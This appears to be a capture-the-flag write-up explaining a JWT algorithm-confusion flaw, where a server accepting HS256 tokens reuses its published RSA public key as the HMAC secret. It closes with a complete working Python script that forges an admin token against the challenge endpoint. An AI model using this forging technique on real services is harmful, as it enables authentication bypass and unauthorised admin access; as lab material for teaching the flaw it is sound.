

Challenge Name: Sometimes the Right Signature Is Still Wrong

Summary

The service issued guest JWTs signed with RS256 and published the matching RSA public key through a JWKS endpoint. The protected admin endpoint trusted the JWT claims after signature verification.

The vulnerability was JWT algorithm confusion. The verifier accepted HS256 tokens and reused the RSA public key bytes as the HMAC secret. Since the public key was available to everyone, it was possible to modify the claims to `role: admin`, sign the token as HS256, and access the admin endpoint.

The recovered flag is intentionally excluded from this report.

Target

```
https://ae022fcc-732d-471f-b466-068c87b7227d.222.255.138.122.nip.io/
```

The landing page described these endpoints:

```
GET /.well-known/jwks.json
POST /api/auth/token
GET /api/profile
GET /api/admin/flag
```

Solve Flow

1. Opened the portal and identified JWT authentication with RS256.
2. Requested the JWKS from /.well-known/jwks.json.
3. Requested a guest token from /api/auth/token.
4. Decoded the JWT header and payload.
5. Confirmed the guest token worked on /api/profile.
6. Confirmed the same guest token failed on /api/admin/flag.
7. Tested common JWT attacks: none, edited payload with old signature, blank algorithm, and RS256-to-HS256 confusion.
8. Serialized the published RSA key as SubjectPublicKeyInfo PEM.
9. Forged an HS256 JWT with `role: admin`.

10. Sent the forged token to `/api/admin/flag`.
11. The server returned HTTP 200, proving successful forgery.

Important Observations

The guest token header looked like:

```
{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "novamind-api-key-1"
}
```

The payload contained:

```
{
  "sub": "guest",
  "role": "user",
  "iss": "novamind-api"
}
```

The JWKS endpoint exposed an RSA key:

```
{
  "kty": "RSA",
  "use": "sig",
  "alg": "RS256",
  "kid": "novamind-api-key-1",
  "n": "<rsa modulus>",
  "e": "AQAB"
}
```

Useful test results:

alg none	-> rejected
edited payload old sig	-> rejected
blank alg	-> rejected
HS256 with RSA PEM	-> accepted

Vulnerability

RS256 and HS256 use different trust models.

RS256 is asymmetric:

```
private RSA key signs  
public RSA key verifies
```

HS256 is symmetric:

```
same secret signs and verifies
```

If a verifier accepts the attacker-controlled JWT `alg` header and passes the same key material to both RSA and HMAC verification code, the RSA public key can become an HMAC secret.

That breaks the security boundary:

```
published public key -> usable HMAC secret -> attacker can sign arbitrary  
claims
```

In this challenge, the exact key representation that worked was the RSA public key serialized as SubjectPublicKeyInfo PEM.

Exploitation Details

The forged header preserved legitimate metadata:

```
{  
  "typ": "JWT",  
  "kid": "novamind-api-key-1",  
  "alg": "HS256"  
}
```

The payload was changed to:

```
{  
  "sub": "admin",  
  "role": "admin",  
  "iss": "novamind-api",  
  "iat": "<current timestamp>",  
  "exp": "<current timestamp + 3600>"  
}
```

The signing input was:

```
base64url(header) + "." + base64url(payload)
```

The signature was:

```
HMAC-SHA256(rsa_public_key_pem, signing_input)
```

Final Solve Script

```
#!/usr/bin/env python3
import base64
import hashlib
import hmac
import json
import ssl
import time
import urllib.request

from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

BASE = "https://ae022fcc-732d-471f-b466-068c87b7227d.222.255.138.122.nip.io"
ctx = ssl._create_unverified_context()

def b64u(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

def b64d(data: str) -> bytes:
    return base64.urlsafe_b64decode(data + "=" * ((4 - len(data) % 4) % 4))

def compact(obj: dict) -> bytes:
    return json.dumps(obj, separators=(",", ":")).encode()

def get_json(path: str):
    with urllib.request.urlopen(BASE + path, context=ctx, timeout=10) as r:
        return json.loads(r.read())

jwks = get_json("/.well-known/jwks.json")
jwk = jwks["keys"][0]
```

```

n = int.from_bytes(b64d(jwk["n"]), "big")
e = int.from_bytes(b64d(jwk["e"]), "big")
public_key = rsa.RSAPublicNumbers(e, n).public_key()
public_key_pem = public_key.public_bytes(
    serialization.Encoding.PEM,
    serialization.PublicFormat.SubjectPublicKeyInfo,
)

now = int(time.time())
header = {"typ": "JWT", "kid": jwk["kid"], "alg": "HS256"}
payload = {
    "sub": "admin",
    "role": "admin",
    "iat": now,
    "exp": now + 3600,
    "iss": "novamind-api",
}

encoded_header = b64u(compact(header))
encoded_payload = b64u(compact(payload))
signing_input = f"{encoded_header}.{encoded_payload}".encode()
signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()
token = f"{encoded_header}.{encoded_payload}.{b64u(signature)}"

req = urllib.request.Request(BASE + "/api/admin/flag")
req.add_header("Authorization", "Bearer " + token)

with urllib.request.urlopen(req, context=ctx, timeout=10) as r:
    print(r.status)
    print(r.read().decode())

```